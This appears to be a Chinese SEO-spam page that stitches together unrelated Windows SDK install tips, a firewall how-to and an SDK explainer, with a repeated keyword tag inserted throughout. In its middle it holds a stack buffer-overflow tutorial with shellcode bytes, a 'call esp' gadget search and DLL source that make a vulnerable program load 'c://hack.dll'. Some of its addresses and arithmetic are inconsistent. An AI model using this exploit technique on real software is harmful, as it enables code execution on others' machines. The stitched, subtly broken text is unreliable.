×

windowssdk14393

包含windowssdk14393的词条

admin admin 发表于2023-03-27 13:43:09 浏览39 评论0

抢沙发发表评论

本文目录一览:

Win10安装SDK时遇到问题的解决方法

软件开发工具包(外语首字母缩写:SDK、外语全称:Software Development Kit)一般都是一些软件工程师为特定的软件包、软件框架、硬件平台、 操作系统 等建立应用软件时的开发工具的集合。那么你知道Win10 安装SDK怎么解决么?接下来是我为大家收集的Win10 安装SDK解决 方法 ,欢迎大家阅读:

Win10 安装SDK解决方法

【问题描述】

Win10电脑使用MATLAB mex -setup时遇到错误提醒如下:

Error using mex:No supported compiler or SDK was found.

For options, bisit

点开链接试图安装Microsoft Windows SDK 7.1时遇到问题如下:

Some Windows SDK components require the RTM .NET Framework 4. Setup detected a pre-release version of .NET Framework 4. If you continue with Setup, these components will not be installed. If you want to install these components, click Cancel, then install the .NET Framework 4 from and then rerun Setup.-windowssdk14393

Click OK to continue.

点开链接试图安装.NET Framework 4,再次遇到问题:

The Microsoft .NET Framework 4 is already part of the operating system. No need to install the .NET Framework 4 redistributable. More information.An equal or higher version of the .NET Framework 4 has already been installed on the computer.-windowssdk14393

【解决办法】

电脑搜索栏搜 "regedit"(control pannel)进入后进入下列两路径,将Version值从4.6.01038修改到4.0.30319:HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Client\Version-windowssdk14393

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Version

如果遇到不能修改Version值的操作办法:

依次进入两个路径后Edit--Permission--Advanced--Owner change--根据Permission entries在最后输入用户的Principle(我的是‘Users’)更改后点OK--将Users的Permissions勾选Full Control--Apply--OK之后就可以更改Version Value了-windowssdk14393

更改后成功安装SDK,之后将以上路径的VersionValue改回原值,peremission改回原状态,完成

正确设置win10中的防火墙的方法

首先,你要做的是按下快捷键Win+X,然后在出现的快捷菜单中单击“控制面板”。

接着,单击如图所示红圈所标识的。

下一步,单击红圈所指的选项,然后就可以进入设置项了。

下面,单击左侧功能列表项,就是红圈所示的地方。

最后,在弹出的窗口中,按照自己的情况设置好,系统就会更加安全了。

看了“Win10 安装SDK解决方法”还想看:

1. Win10自动更新安装失败的解决办法

2. Win10正式版的安装方法

3. 最新的win10安装教程

4. Win10 64位正式版系统安装方法全过程图解

如何利用缓冲区溢出的程序错误来运行黑客程序

上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:

程序A:

#include stdio.h

#include string.h

void foo(const char *input)

{

char buf[10];

strcpy(buf, input);

}

int main(int argc, char *argv[])

{

foo("1234567890123456123456123456");

return 0;

}

启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:-windowssdk14393

ebp的值 esp的值

^ ^

| |

--------------------------------------

| |函数返回地址| |

---------------------------------------

而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁操作:

mov esp ebp

pop ebp

ret

在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。

如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。-windowssdk14393

下面是步骤:

1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。-windowssdk14393

2. 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:

#include

"stdafx.h"

#include stdio.h

#include windows.h

#ifdef _MANAGED

#pragma managed(push, off)

#endif

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved)

{

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory( si,

sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( pi, sizeof(pi) );

switch ( ul_reason_for_call )

{

case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件

WinExec("C://WINDOWS//notepad.exe", SW_SHOW);

break;

default:

break;

}

return TRUE;

}

#ifdef

_MANAGED

#pragma managed(pop)

#endif

3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:

int main()

{

_asm {

jmp esp

}

}

将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:

00401763 FF E4 jmp esp

00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。-windowssdk14393

现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32.dll和ntdll.dll,还有可能有msvcrt8.dll。-windowssdk14393

我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编-windowssdk14393

打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,没有。再试ntdll.dll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32.dll里面没有,啊哈,ntdll.dll里面有,这是搜索结果:-windowssdk14393

7C914393: FF E5 call esp

4.编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32.dll中的,启动Depends.exe,Depends.exe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。-windowssdk14393

随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32.dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:-windowssdk14393

E | Ordinal | Hint | Function | Entry Point

---------------------------------------------------------------------------------------------

754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF

操作系统不一样,值可能不一样,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:

Module | ... 中间很多省略 ... | Preferred Base

-------------------------------------------------------------------------

Kernel32.dll | .... | 0x77E000000

将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。

5。最后编写汇编代码执行你的黑客程序:

_asm {

mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中

call L4

L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈

L3: jmp L3 // 循环,确保被黑的程序不会死掉

L4: call L2

}

6。最后,示例程序如下:

#include

stdio.h

#include string.h

void func(char *p)

{

char stack_temp[20];

strcpy(stack_temp, p);

printf(stack_temp);

}

void foo()

{

printf("This should not be called");

}

int main(int argc, char *argv[])

{

func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"

"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址-windowssdk14393

"/xEB/x04" // call L4-windowssdk14393

"/xFF/xD0" // L2: call eax-windowssdk14393

"/xEB/xFE" // L3: jmp L3-windowssdk14393

"/xE8/xF7/xFF/xFF/xFF" // L4: call L2-windowssdk14393

"c://hack.dll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件-windowssdk14393

return 0;

}

完了,累死了

如何解决Windows sdk安装出错

你可能是在兼容模式下运行了windows phone sdk的安装程序。 可以尝试下面几种方式解决:1.找到windows phone sdk安装程序中的setup.exe,右键-属性,检查一下兼容性那一页,看看是不是在兼容模式下运行了,如果是,关闭兼容模式。-windowssdk14393

2.运行注册表编辑器regedit,检查下面两个主键下面,有没有跟windows phone sdk的setup.exe有关的项目,如果有,删除之。

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Persisted HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers-windowssdk14393

3.可以尝试运行setup目录下的setup.exe,如果这个文件存在的话。

vs安装包没有win10sdk安装选项?

是不是你上次的卸载不干净,win10SDK组件没有被彻底删除呢?其实我记得在微软官方网站上有提供win10SDK的单独下载的。实在不行你可以试试官方网站上下载安装一个。

Windows sdk是啥,有啥用啊?

api

reference是windows最基础的功能包装,暴露给用户的接口。这个接口对于所有windows来说基本不变。最基础的意思就是说,如果你写程序都用这一级别的函数调用,你的软件将适用于各种windows环境。-windowssdk14393

platform

sdk,顾名思义,就是在不同的windows版本中(桌面windows,移动windows等),针对硬件设备的不同,进行了功能再定制,然后重新打包的一套开发接口,比如手机

版本里面的windows的一些操作和台式pc略有差异。由于大多数开发还是基于pc平台,从api到platform并没有实质的差异,你看到的一些platform下的函数很可能只是什么变化都没有直接包过来用了,所以看起来差不多,使用感受也没大区别。但如果你接触到移动设备windows开发,api和platform之间差异可能就体现出来了。这一级别的包装体现了平台差异,功能上比原始的api有所增强。-windowssdk14393

最后mfc。mfc是采用了面向对象技术,从对象的角度重新打包api的一套包含windows窗体逻辑对象等等的、具有可视化等高级特性的开发包。与api、platform

sdk相比较,前两者只是对接口函数进行归类整理,类似于工厂生产的各个零件做一个大目录的索引,而mfc则是根据编程实际使用的功能,制作了各种半成品部件,你可以直接用已有的部件来减少更低层次的零件组装来生产最终应用软件。-windowssdk14393